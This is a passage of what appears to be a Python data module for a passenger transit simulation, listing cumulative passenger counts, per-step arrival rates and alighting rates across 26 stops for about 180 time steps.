18, 20, 33, 10, 8, 6, 0, 60, 62, 49, 42, 54, 33, 21, 16, 20, 21, 1, 9, 0), # 6 (66, 59, 54, 65, 42, 35, 24, 23, 38, 11, 9, 8, 0, 73, 68, 56, 48, 66, 34, 23, 18, 26, 25, 3, 9, 0), # 7 (79, 68, 63, 77, 46, 37, 27, 23, 42, 11, 11, 9, 0, 82, 78, 68, 50, 79, 38, 27, 19, 29, 28, 4, 12, 0), # 8 (88, 79, 70, 87, 50, 40, 33, 29, 48, 14, 12, 9, 0, 93, 83, 79, 60, 87, 44, 33, 27, 36, 31, 5, 12, 0), # 9 (102, 87, 83, 96, 56, 44, 35, 35, 55, 15, 14, 10, 0, 107, 90, 85, 72, 93, 50, 35, 31, 40, 33, 6, 12, 0), # 10 (111, 94, 89, 107, 68, 46, 42, 37, 56, 16, 15, 11, 0, 116, 102, 93, 79, 103, 57, 41, 35, 49, 33, 6, 14, 0), # 11 (125, 104, 102, 121, 81, 52, 47, 46, 63, 16, 18, 12, 0, 128, 105, 100, 86, 120, 66, 43, 35, 52, 37, 8, 14, 0), # 12 (132, 116, 109, 129, 90, 56, 51, 51, 67, 19, 19, 14, 0, 138, 116, 108, 93, 132, 74, 49, 42, 55, 42, 9, 15, 0), # 13 (148, 127, 119, 141, 100, 62, 57, 53, 75, 20, 20, 15, 0, 157, 128, 116, 101, 140, 81, 55, 46, 59, 50, 11, 16, 0), # 14 (166, 144, 129, 152, 110, 66, 67, 56, 79, 23, 23, 16, 0, 166, 141, 126, 111, 146, 86, 62, 53, 60, 54, 15, 18, 0), # 15 (184, 159, 147, 166, 113, 70, 71, 64, 81, 27, 23, 17, 0, 182, 149, 137, 118, 155, 93, 72, 55, 64, 57, 20, 19, 0), # 16 (192, 173, 161, 177, 123, 72, 77, 67, 85, 27, 25, 18, 0, 192, 162, 149, 129, 168, 100, 80, 60, 69, 63, 22, 19, 0), # 17 (210, 184, 173, 190, 137, 76, 82, 71, 89, 28, 27, 18, 0, 204, 179, 160, 137, 177, 103, 86, 66, 72, 67, 24, 20, 0), # 18 (218, 197, 186, 199, 148, 82, 85, 80, 95, 30, 27, 20, 0, 219, 192, 164, 144, 185, 110, 88, 70, 75, 72, 27, 20, 0), # 19 (232, 220, 197, 211, 159, 84, 88, 83, 101, 37, 29, 22, 0, 229, 208, 180, 151, 199, 120, 93, 74, 79, 75, 29, 23, 0), # 20 (244, 236, 211, 223, 177, 90, 91, 89, 108, 41, 31, 22, 0, 241, 220, 184, 164, 207, 126, 100, 76, 84, 78, 29, 25, 0), # 21 (261, 249, 218, 235, 186, 95, 96, 89, 111, 44, 33, 23, 0, 258, 232, 197, 172, 220, 134, 108, 81, 89, 82, 32, 27, 0), # 22 (280, 263, 233, 249, 199, 100, 100, 97, 117, 45, 34, 28, 0, 275, 247, 205, 185, 231, 139, 116, 84, 95, 88, 33, 29, 0), # 23 (287, 278, 244, 264, 212, 101, 109, 104, 121, 50, 39, 29, 0, 292, 259, 216, 194, 242, 146, 119, 87, 101, 92, 33, 32, 0), # 24 (304, 291, 256, 278, 226, 106, 115, 108, 126, 53, 40, 30, 0, 313, 271, 227, 202, 248, 153, 126, 92, 106, 97, 38, 32, 0), # 25 (316, 310, 268, 296, 237, 109, 120, 117, 129, 55, 43, 31, 0, 334, 287, 240, 204, 259, 159, 134, 95, 109, 102, 41, 33, 0), # 26 (328, 322, 280, 308, 246, 115, 125, 125, 135, 57, 48, 31, 0, 355, 307, 252, 208, 271, 169, 141, 100, 114, 109, 44, 34, 0), # 27 (346, 335, 292, 319, 256, 125, 128, 131, 142, 59, 49, 34, 0, 374, 321, 268, 214, 286, 175, 147, 105, 119, 110, 49, 35, 0), # 28 (362, 347, 308, 335, 266, 126, 132, 133, 154, 62, 50, 35, 0, 386, 336, 279, 223, 299, 183, 153, 107, 125, 114, 51, 37, 0), # 29 (377, 364, 322, 347, 280, 133, 140, 142, 161, 64, 53, 35, 0, 400, 351, 292, 230, 311, 186, 153, 109, 128, 117, 53, 37, 0), # 30 (389, 374, 331, 351, 287, 136, 148, 148, 167, 68, 53, 36, 0, 413, 366, 299, 243, 324, 193, 158, 115, 134, 119, 56, 37, 0), # 31 (404, 384, 343, 365, 300, 144, 155, 154, 175, 73, 55, 36, 0, 429, 378, 311, 254, 335, 202, 163, 119, 139, 120, 57, 40, 0), # 32 (420, 396, 357, 377, 310, 150, 160, 161, 178, 74, 59, 37, 0, 442, 391, 320, 261, 350, 208, 170, 123, 143, 124, 58, 41, 0), # 33 (433, 415, 369, 389, 324, 153, 167, 166, 182, 75, 60, 37, 0, 458, 403, 333, 267, 356, 213, 178, 125, 145, 128, 62, 43, 0), # 34 (452, 426, 381, 398, 333, 157, 169, 170, 187, 76, 63, 39, 0, 466, 422, 340, 276, 370, 220, 184, 126, 153, 130, 65, 44, 0), # 35 (462, 440, 394, 412, 339, 163, 176, 176, 193, 78, 64, 40, 0, 476, 434, 346, 288, 380, 226, 187, 127, 155, 132, 67, 44, 0), # 36 (476, 458, 401, 427, 348, 168, 182, 182, 199, 80, 65, 42, 0, 486, 444, 355, 300, 388, 234, 191, 129, 162, 140, 70, 45, 0), # 37 (494, 472, 414, 450, 356, 171, 183, 188, 208, 81, 68, 44, 0, 499, 459, 371, 308, 403, 241, 197, 136, 171, 146, 75, 46, 0), # 38 (507, 492, 426, 466, 370, 177, 189, 190, 213, 84, 69, 44, 0, 510, 474, 381, 313, 413, 248, 200, 140, 173, 149, 76, 46, 0), # 39 (522, 503, 445, 484, 379, 185, 195, 195, 218, 89, 70, 46, 0, 520, 486, 389, 318, 420, 253, 207, 146, 184, 154, 78, 49, 0), # 40 (541, 513, 456, 499, 390, 193, 202, 199, 222, 94, 71, 48, 0, 531, 490, 395, 326, 433, 258, 212, 150, 191, 159, 82, 52, 0), # 41 (553, 528, 467, 515, 397, 201, 207, 203, 228, 97, 72, 50, 0, 548, 497, 404, 341, 446, 266, 221, 153, 198, 162, 82, 53, 0), # 42 (569, 535, 480, 529, 408, 206, 217, 208, 234, 97, 75, 52, 0, 563, 515, 409, 353, 459, 277, 231, 155, 208, 165, 85, 55, 0), # 43 (579, 544, 492, 536, 417, 215, 226, 215, 240, 101, 76, 53, 0, 574, 538, 421, 360, 471, 284, 237, 158, 218, 172, 87, 56, 0), # 44 (596, 560, 518, 543, 427, 217, 230, 220, 242, 102, 78, 54, 0, 587, 547, 427, 368, 481, 289, 241, 161, 222, 175, 89, 57, 0), # 45 (608, 574, 538, 555, 438, 222, 232, 226, 251, 107, 80, 54, 0, 604, 563, 440, 375, 498, 298, 243, 164, 227, 179, 89, 61, 0), # 46 (624, 594, 549, 571, 446, 229, 234, 234, 257, 110, 80, 55, 0, 618, 576, 452, 382, 510, 304, 249, 167, 228, 185, 93, 62, 0), # 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173 (2219, 1931, 1886, 1997, 1707, 821, 770, 705, 881, 382, 302, 184, 0, 2251, 1929, 1486, 1149, 1763, 971, 806, 615, 845, 654, 360, 179, 0), # 174 (2224, 1933, 1890, 2001, 1712, 821, 774, 709, 886, 382, 303, 184, 0, 2259, 1934, 1493, 1153, 1769, 974, 808, 620, 848, 654, 361, 179, 0), # 175 (2229, 1942, 1900, 2006, 1713, 822, 775, 712, 890, 384, 304, 185, 0, 2264, 1936, 1495, 1156, 1774, 976, 808, 621, 850, 655, 363, 180, 0), # 176 (2232, 1945, 1908, 2013, 1717, 826, 775, 714, 890, 385, 304, 186, 0, 2272, 1943, 1498, 1162, 1781, 979, 810, 624, 853, 657, 364, 180, 0), # 177 (2233, 1948, 1912, 2019, 1722, 828, 776, 717, 895, 386, 304, 187, 0, 2276, 1951, 1506, 1169, 1788, 982, 812, 627, 856, 660, 364, 180, 0), # 178 (2233, 1948, 1912, 2019, 1722, 828, 776, 717, 895, 386, 304, 187, 0, 2276, 1951, 1506, 1169, 1788, 982, 812, 627, 856, 660, 364, 180, 0), # 179 ) passenger_arriving_rate = ( (7.029211809720476, 7.090786984939564, 6.079830434547925, 6.525401162556605, 5.184373233768971, 2.563234861163827, 2.9022249307617405, 2.7143527675713304, 2.8420462290117365, 1.3853052554328298, 0.9812285382399741, 0.571423425802387, 0.0, 7.117432297609708, 6.285657683826256, 4.90614269119987, 4.155915766298489, 5.684092458023473, 3.8000938745998627, 2.9022249307617405, 1.8308820436884476, 2.5921866168844856, 2.175133720852202, 1.2159660869095852, 0.6446169986308695, 0.0), # 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159 (10.198820932866035, 7.28304080162725, 9.125574450948537, 9.343506385929302, 8.321992122590341, 4.103212058438943, 3.221570623868649, 3.147432860557619, 4.525465106040038, 1.6594219781520132, 1.3060272186755595, 0.7817252273702489, 0.0, 11.110988852451014, 8.598977501072737, 6.530136093377798, 4.978265934456038, 9.050930212080075, 4.406406004780667, 3.221570623868649, 2.9308657560278157, 4.160996061295171, 3.114502128643102, 1.8251148901897079, 0.6620946183297501, 0.0), # 160 (10.042510876420344, 7.1573051140366015, 9.006721467228694, 9.213301128944565, 8.211833582663305, 4.053588080615757, 3.1693770122048135, 3.1101003109807053, 4.473387224599541, 1.6347303676098288, 1.2870063860732652, 0.77067287137255, 0.0, 10.962523662746737, 8.477401585098049, 6.435031930366326, 4.904191102829485, 8.946774449199083, 4.354140435372988, 3.1693770122048135, 2.8954200575826836, 4.105916791331652, 3.071100376314856, 1.801344293445739, 0.6506641012760548, 0.0), # 161 (9.8673704785969, 7.01946278200249, 8.86902503621808, 9.064612206380144, 8.08466011948299, 3.9951294996602726, 3.1115053384378664, 3.0659207681568685, 4.411313507026364, 1.6069049225635816, 1.2654790298916783, 0.7580893498314843, 0.0, 10.791476155852466, 8.338982848146326, 6.3273951494583915, 4.820714767690744, 8.822627014052728, 4.292289075419616, 3.1115053384378664, 2.8536639283287664, 4.042330059741495, 3.0215374021267154, 1.773805007243616, 0.6381329801820447, 0.0), # 162 (9.674498913559898, 6.870249823480022, 8.71354169049082, 8.898491578842531, 7.941428916517308, 3.928324536163185, 3.048292841627181, 3.015271421527823, 4.339791716098023, 1.5761270492688444, 1.2415893928515955, 0.7440621194752707, 0.0, 10.599119351045232, 8.184683314227977, 6.207946964257977, 4.728381147806532, 8.679583432196045, 4.221379990138953, 3.048292841627181, 2.8059460972594175, 3.970714458258654, 2.9661638596141775, 1.742708338098164, 0.6245681657709112, 0.0), # 163 (9.464995355473539, 6.710402256424303, 8.54132796262104, 8.71599120693821, 7.783097157234176, 3.853661410715189, 2.9800767608321266, 2.9585294605352903, 4.259369614592037, 1.5425781539811894, 1.2154817176738126, 0.7286786370321272, 0.0, 10.386726267602059, 8.015465007353399, 6.077408588369063, 4.627734461943566, 8.518739229184074, 4.141941244749407, 2.9800767608321266, 2.752615293367992, 3.891548578617088, 2.905330402312737, 1.7082655925242083, 0.6100365687658459, 0.0), # 164 (9.239958978502024, 6.5406560987904445, 8.353440385182864, 8.518163051273666, 7.610622025101502, 3.771628343906979, 2.9071943351120755, 2.8960720746209856, 4.1705949652859235, 1.5064396429561904, 1.1873002470791263, 0.7120263592302724, 0.0, 10.155569924799979, 7.832289951532995, 5.936501235395631, 4.51931892886857, 8.341189930571847, 4.05450090446938, 2.9071943351120755, 2.694020245647842, 3.805311012550751, 2.839387683757889, 1.670688077036573, 0.5946050998900405, 0.0), # 165 (9.000488956809557, 6.361747368533551, 8.150935490750417, 8.306059072455376, 7.4249607035872005, 3.682713556329251, 2.8299828035264003, 2.8282764532266285, 4.074015530957201, 1.4678929224494195, 1.157189223788332, 0.6941927427979253, 0.0, 9.906923341916015, 7.636120170777177, 5.78594611894166, 4.403678767348258, 8.148031061914402, 3.95958703451728, 2.8299828035264003, 2.630509683092322, 3.7124803517936003, 2.768686357485126, 1.6301870981500834, 0.5783406698666865, 0.0), # 166 (8.747684464560333, 6.174412083608727, 7.934869811897824, 8.080731231089835, 7.2270703761591815, 3.5874052685726983, 2.7487794051344725, 2.7555197857939366, 3.9701790743833865, 1.4271193987164503, 1.1252928905222266, 0.6752652444633036, 0.0, 9.642059538227196, 7.427917689096338, 5.626464452611132, 4.28135819614935, 7.940358148766773, 3.8577277001115116, 2.7487794051344725, 2.562432334694784, 3.6135351880795907, 2.693577077029946, 1.5869739623795647, 0.5613101894189753, 0.0), # 167 (8.482644675918554, 5.979386261971081, 7.706299881199207, 7.843231487783524, 7.017908226285359, 3.4861917012280164, 2.663921378995663, 2.6781792617646265, 3.8596333583419993, 1.3843004780128556, 1.0917554900016058, 0.6553313209546264, 0.0, 9.362251533010546, 7.20864453050089, 5.458777450008029, 4.152901434038566, 7.7192667166839986, 3.7494509664704774, 2.663921378995663, 2.490136929448583, 3.5089541131426794, 2.614410495927842, 1.5412599762398416, 0.5435805692700985, 0.0), # 168 (8.206468765048422, 5.777405921575724, 7.466282231228694, 7.594611803142927, 6.798431437433646, 3.3795610748859013, 2.5757459641693443, 2.5966320705804184, 3.7429261456105576, 1.339617566594208, 1.0567212649472661, 0.6344784290001119, 0.0, 9.0687723455431, 6.9792627190012295, 5.28360632473633, 4.018852699782624, 7.485852291221115, 3.635284898812586, 2.5757459641693443, 2.413972196347072, 3.399215718716823, 2.5315372677143095, 1.493256446245739, 0.5252187201432478, 0.0), # 169 (7.9202559061141375, 5.569207080377758, 7.215873394560408, 7.335924137774526, 6.569597193071951, 3.268001610137046, 2.4845903997148873, 2.5112554016830275, 3.620605198966578, 1.2932520707160806, 1.020334458080004, 0.6127940253279787, 0.0, 8.762894995101878, 6.740734278607764, 5.101672290400019, 3.879756212148241, 7.241210397933156, 3.5157575623562387, 2.4845903997148873, 2.3342868643836043, 3.2847985965359756, 2.4453080459248424, 1.4431746789120816, 0.5062915527616144, 0.0), # 170 (7.6251052732799005, 5.355525756332291, 6.956129903768475, 7.068220452284813, 6.3323626766681915, 3.152001527572146, 2.390791924691664, 2.4224264445141737, 3.4932182811875796, 1.2453853966340462, 0.9827393121206148, 0.5903655666664452, 0.0, 8.445892500963913, 6.494021233330896, 4.913696560603074, 3.736156189902138, 6.986436562375159, 3.3913970223198433, 2.390791924691664, 2.2514296625515327, 3.1661813383340958, 2.356073484094938, 1.391225980753695, 0.4868659778483902, 0.0), # 171 (7.322116040709912, 5.137097967394431, 6.688108291427019, 6.792552707280267, 6.087685071690277, 3.0320490477818964, 2.2946877781590462, 2.3305223885155746, 3.3613131550510804, 1.1961989506036783, 0.9440800697898953, 0.56728050974373, 0.0, 8.119037882406225, 6.24008560718103, 4.720400348949476, 3.588596851811034, 6.722626310102161, 3.2627313439218044, 2.2946877781590462, 2.165749319844212, 3.0438425358451386, 2.2641842357600894, 1.337621658285404, 0.4670089061267665, 0.0), # 172 (7.012387382568372, 4.914659731519285, 6.412865090110164, 6.509972863367375, 5.836521561606121, 2.9086323913569916, 2.196615199176405, 2.235920423128947, 3.225437583334597, 1.145874138880549, 0.9045009738086416, 0.5436263112880514, 0.0, 7.783604158705848, 5.979889424168563, 4.522504869043208, 3.437622416641646, 6.450875166669194, 3.130288592380526, 2.196615199176405, 2.077594565254994, 2.9182607808030605, 2.169990954455792, 1.282573018022033, 0.446787248319935, 0.0), # 173 (6.697018473019482, 4.6889470666619575, 6.131456832392036, 6.221532881152618, 5.579829329883635, 2.7822397788881266, 2.096911426803113, 2.1389977377960108, 3.08613932881565, 1.0945923677202316, 0.8641462668976501, 0.519490428027628, 0.0, 7.440864349139807, 5.7143947083039075, 4.32073133448825, 3.283777103160694, 6.1722786576313, 2.994596832914415, 2.096911426803113, 1.9873141277772333, 2.7899146649418176, 2.07384429371754, 1.2262913664784072, 0.42626791515108714, 0.0), # 174 (6.377108486227438, 4.460695990777558, 5.84494005084676, 5.928284721242486, 5.318565559990731, 2.653359430965997, 1.9959137000985407, 2.040131521958481, 2.943966154271756, 1.0425350433782987, 0.8231601917777163, 0.49496031669067847, 0.0, 7.092091472985131, 5.444563483597462, 4.115800958888581, 3.1276051301348957, 5.887932308543512, 2.8561841307418736, 1.9959137000985407, 1.8952567364042836, 2.6592827799953653, 1.9760949070808291, 1.1689880101693522, 0.40551781734341447, 0.0), # 175 (6.053756596356447, 4.230642521821194, 5.554371278048459, 5.631280344243462, 5.053687435395322, 2.5224795681812964, 1.8939592581220606, 1.9396989650580787, 2.7994658224804327, 0.9898835721103237, 0.781686991169637, 0.470123434005421, 0.0, 6.738558549518844, 5.17135777405963, 3.9084349558481852, 2.9696507163309707, 5.5989316449608655, 2.71557855108131, 1.8939592581220606, 1.8017711201294973, 2.526843717697661, 1.8770934480811543, 1.1108742556096918, 0.38460386562010856, 0.0), # 176 (5.7280619775707065, 3.9995226777479713, 5.260807046571258, 5.331571710762027, 4.786152139565322, 2.3900884111247205, 1.791385339933044, 1.8380772565365193, 2.6531860962191995, 0.9368193601718788, 0.7398709077942084, 0.4450672367000743, 0.0, 6.381538598017975, 4.895739603700816, 3.699354538971042, 2.8104580805156356, 5.306372192438399, 2.5733081591511273, 1.791385339933044, 1.707206007946229, 2.393076069782661, 1.7771905702540096, 1.0521614093142517, 0.3635929707043611, 0.0), # 177 (5.401123804034416, 3.7680724765129963, 4.9653038889892835, 5.030210781404673, 4.516916855968639, 2.2566741803869648, 1.6885291845908623, 1.7356435858355217, 2.505674738265573, 0.8835238138185378, 0.6978561843722264, 0.41987918150285664, 0.0, 6.022304637759553, 4.618670996531422, 3.489280921861132, 2.6505714414556127, 5.011349476531146, 2.4299010201697304, 1.6885291845908623, 1.611910128847832, 2.2584584279843196, 1.6767369271348913, 0.9930607777978567, 0.34255204331936334, 0.0), # 178 (0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0), # 179 ) passenger_allighting_rate = ( (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 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3 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 4 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 5 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 6 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 7 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 8 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 9 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 10 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 11 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 12 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 13 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 14 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 15 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 16 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 17 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 18 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 19 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 20 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 21 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 22 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 23 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 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168 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 169 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 170 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 171 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 